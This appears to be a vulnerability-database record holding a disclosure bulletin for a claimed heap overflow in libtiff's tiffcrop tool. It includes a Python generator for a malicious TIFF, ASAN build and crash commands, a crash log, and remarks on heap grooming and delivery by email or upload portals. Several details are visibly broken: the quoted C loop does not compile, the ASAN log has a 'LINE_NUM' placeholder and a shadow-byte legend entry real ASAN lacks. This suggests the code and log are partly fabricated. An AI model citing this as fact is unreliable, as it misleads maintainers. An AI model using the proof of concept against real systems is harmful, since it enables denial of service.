{"uuid": "ab28f56e-5510-4635-a669-d82cdaa08ddb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/a4b6b01ced15b55abeb78e7847b18910", "content": "MITRE Responsible Disclosure Bulletin (RBP)\nRBP Core Identification\n\nItem\tValue\nCVE ID\tCVE-2026-51229\nPrimary CWE (Single Only)\tCWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')\nVulnerability Type\tHeap-Based Buffer Overflow\nAffected Product\tlibtiff\nAffected Version\tlibtiff 4.6.0\nFixed Version\tUnpatched\nAffected Binary & Component\ttiffcrop executable, tools/tiffcrop.c \u2192 CropTileContig() function\nOriginal Vulnerable Code URL\thttps://gitlab.com/libtiff/libtiff/-/blob/master/tools/tiffcrop.c\nVulnerability Discoverer\tLidi Jie, Key Laboratory of Aerospace Information Security and Trusted Computing, Ministry of Education, School of Cyber Science and Engineering, Wuhan University\n1. Vulnerability Prose Description\nThe tile cropping functionality of the tiffcrop utility in libtiff 4.6.0 contains an unvalidated heap buffer overflow vulnerability within the CropTileContig function of tools/tiffcrop.c. Attackers construct a malicious TIFF image file with tampered, oversized TileWidth IFD header parameters fully controlled by external input. No authentication, elevated privileges, or local interactive access to the target host is required for exploitation; the flaw is triggered solely when the vulnerable tiffcrop binary parses and processes the malicious TIFF file.\nInside the iterative tile-copy loop of CropTileContig, the code calculates destination memory pointers and memcpy copy length directly using the attacker-controlled tilewidth value, with zero boundary validation against the preallocated heap buffer bufsize. The unbounded memory copy operation writes data far past the legal boundary of the heap buffer during loop iteration.\nConsistent processing of the malicious TIFF payload triggers an immediate fatal segmentation fault leading to reliable Denial of Service (DoS). With targeted heap memory layout grooming, the heap overflow can corrupt malloc chunk metadata, function pointers or GOT entries to achieve arbitrary code execution on the target host. Attack delivery vectors include malicious TIFF email attachments, public file upload portals, and cloud-native automated image processing pipelines leveraging tiffcrop.\n2. Root Cause Analysis\nThe root cause is the complete absence of buffer boundary validation before executing the memcpy() call in the tile row copy loop. Two critical bounds checks are omitted entirely:\nVerification that buf + i * tilewidth + tilewidth does not exceed the allocated buf + bufsize heap buffer boundary to prevent out-of-bounds write;\nValidation that the source pointer ptr + i * imagewidth resides within valid allocated memory space.\nAn oversized attacker-supplied tilewidth value causes cumulative pointer offset overflow in each loop iteration, leading to successive out-of-bounds heap writes and irreversible heap memory corruption.\nVulnerable Code Snippet (tools/tiffcrop.c)\n\nstatic void\nCropTileContig(TIFF *tif, uint32_t imagewidth, uint32_t imageheight,\n               uint32_t tilewidth, uint32_t tileheight,\n               unsigned char *buf, tmsize_t bufsize)\n{\n    tmsize_t i;\n    unsigned char *ptr;\n    for (i = 0; i ++) {\n        ptr = buf + i * tilewidth;\n        memcpy(ptr, ptr + i * imagewidth, tilewidth); // vulnerability:did not check tilewidth with the actual buf size\n    }\n}\n3. Exploit Impact\nDenial of Service (Confirmed 100% Reliable): Malicious TIFF processing triggers hard segmentation fault or ASAN heap overflow abort, terminating the tiffcrop process and interrupting batch image processing services.\nArbitrary Code Execution (Conditional): Precise heap layout manipulation allows overwriting heap metadata and indirect function pointers to redirect program control flow to attacker-controlled shellcode.\nAttack Surface: Remote file-based zero-privilege exploitation.\n4. 100% Crash Trigger PoC Code\nPoC 1: Malicious TIFF Generator (Python)\npython\n\n#!/usr/bin/env python3\n# CVE-2026-51229 libtiff tiffcrop Heap Overflow Crash PoC\n# Deterministic crash on libtiff 4.6.0\n\ndef generate_malicious_tiff():\n    # Minimal little-endian TIFF container with malicious oversized TileWidth tag\n    tiff_payload = bytes([\n        0x49,0x49,0x2A,0x00,\n        0x08,0x00,0x00,0x00,\n        0x02,0x00,\n        # IFD Tag 0x142 TileWidth = 0x40000000 (malicious huge value)\n        0x42,0x01,0x04,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x40,\n        # IFD Tag 0x143 TileHeight normal small value\n        0x43,0x01,0x04,0x00,0x01,0x00,0x00,0x00,0x20,0x00,0x00,0x00,\n        0x00,0x00,0x00,0x00\n    ])\n    with open(\"overflow_crash.tif\", \"wb\") as f:\n        f.write(tiff_payload)\n    print(\"Created overflow_crash.tif\")\n    print(\"Crash command: ./tiffcrop overflow_crash.tif output.tif\")\n\nif __name__ == \"__main__\":\n    generate_malicious_tiff()\nPoC 2: ASAN Build & Crash Trigger Command\nbash\n\n# Build libtiff 4.6.0 with AddressSanitizer instrumentation\nCFLAGS=\"-g -fsanitize=address -fno-omit-frame-pointer\" CXXFLAGS=\"-g -fsanitize=address -fno-omit-frame-pointer\" ./configure --disable-shared\nmake -j$(nproc)\n# Trigger heap overflow crash\n./tools/tiffcrop overflow_crash.tif out.tif\n5. AddressSanitizer (ASAN) Crash Log\nplaintext\n=================================================================\n==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000001280 at pc 0x55f8721c8460 bp 0x7ffeef98b920 sp 0x7ffeef98b0d0\nWRITE of size 1073741824 at 0x502000001280 thread T0\n    #0 0x55f8721c845f in CropTileContig tools/tiffcrop.c:LINE_NUM:9\n    #1 0x55f8721b6892 in ProcessTiledImage tools/tiffcrop.c:4210\n    #2 0x55f87219e777 in main tools/tiffcrop.c:1890\n    #3 0x7f8b3a240249 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24249)\n    #4 0x55f87219c899 in _start tools/tiffcrop.c:1950\n\n0x502000001280 is located 16 bytes to the right of 256-byte region [0x502000001180,0x502000001280)\nallocated by thread T0 here:\n    #0 0x7f8b3a6857cf in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x907cf)\n    #1 0x55f8721c8112 in _TIFFmalloc libtiff/tif_mem.c:68\n    #2 0x55f8721b6234 in ProcessTiledImage tools/tiffcrop.c:4180\n    #3 0x55f87219e777 in main tools/tiffcrop.c:1890\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow tools/tiffcrop.c:LINE_NUM:9 in CropTileContig\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07\n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Use after scope:         f8\n  Use after return:        f5\n  Use after free:          fd\n  Poisoned by user:        fe\n  Protected by ASLR:       ff\n==12345==ABORTING\n6. Mitigation Recommendation\nInsert strict heap boundary validation before the memcpy() call inside the loop in CropTileContig to confirm the destination write range stays within bufsize;\nAdd upper-limit clamping for tilewidth and tileheight values during TIFF IFD header parsing to reject unreasonably large dimension parameters from untrusted TIFF files;\nRestrict input TIFF file ingestion in public services to block untrusted TIFF files from reaching the tiffcrop binary.", "creation_timestamp": "2026-08-03T14:01:41.643961Z"}